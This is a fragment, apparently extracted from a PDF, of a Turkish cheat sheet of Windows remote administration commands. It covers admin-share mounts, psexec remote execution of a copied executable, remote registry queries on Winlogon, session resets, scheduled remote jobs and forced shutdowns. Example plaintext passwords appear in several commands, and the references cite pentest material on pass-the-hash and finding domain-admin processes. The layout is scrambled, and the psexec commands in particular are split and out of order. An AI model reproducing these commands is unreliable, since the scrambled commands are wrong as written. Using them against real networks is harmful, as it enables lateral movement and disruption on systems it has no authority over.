alanı
denetleyicisinde
(DC)
Diğer komutlar
shutdown /r /t 0 /f
Uzak Bilgisayar İşlemleri >
Uzak bilgisayar için sistem bilgileri
psinfo \\172.16.4.230 -h -s -d
systeminfo /S 10.35.2.52 /U Ornek\Murat /P Aa123456
Uzak bilgisayarın paylaşımına erişim
net
use
K:
\\172.24.63.135\C$
/USER:SIRKET\Hakki.Leventli Hh123456
net use K: /delete
Uzak bilgisayarın komut satırına erişim
psexec
Hh123456
psexec
Hh123456
\\172.16.4.230 -u SIRKETHakki.Leventli
cmd.exe /accepteula
\\172.16.4.230 -u SIRKETHakki.Leventli
-c -f \\172.29.26.152\Paylasim\Uygulama.exe
-p
-p
Uzaktaki bilgisayarda çalışan prosesler
tasklist /V /S 172.16.72.129 /U SIRKETVeli.Kut /P
1907?Fenerbahce
Uzak bilgisayardaki kayıt değerleri
reg
query
“\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v Userinit
Uzak bilgisayarda açık olan oturumlar
query session /server:DCSunucusu
reset session 3 /server:DCSunucusu
Uzak bilgisayarda zamanlanmış görevler
net time \\172.31.45.26
at \\172.31.45.26 10:32 Betik.bat
Uzak bilgisayardaki dizinin kopyalanması
xcopy
/s
10.46.83.183\PaylasimKlasoru
C:\KopyalanacakDizin
Diğer komutlar
shutdown /m \\172.24.63.168 /r /t 10 /f /c “Bilgisayar
10 saniye icinde kapatiliyor…”
Kaynaklar:
http://technet.microsoft.com/en-us/library/cc722416(v=ws
.10).aspx
http://www.robvanderwoude.com/ntadmincommands.php
http://ckerekes.com/dsquery.shtml
http://ss64.com/nt/dsquery-user.html
http://www.netspi.com/blog/2012/07/09/5-ways-to-find-sys
tems-running-domain-admin-processes/
http://social.technet.microsoft.com/Forums/en-US/winserv
erpowershell/thread/eaff2f69d17b-4235-9f8a-9f42840cac56/
http://rajhackingarticles.blogspot.com.tr/2014/07/hack-a
ll-security-features-in-remote.html
http://www.networkpentest.net/p/windows-command-list.htm
l
http://www.harmj0y.net/blog/redteaming/trusts-you-mighthave-missed/
http://www.harmj0y.net/blog/penetesting/pass-the-hash-is
-dead-long-live-pass-the-hash/
https://docs.google.com/document/d/1U10isynOpQtrIK6ChuRe
u-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US#
http://www.pentest.guru/index.php/2015/10/19/ditch-psexe
c-spraywmi-is-here/

Benzer belgeler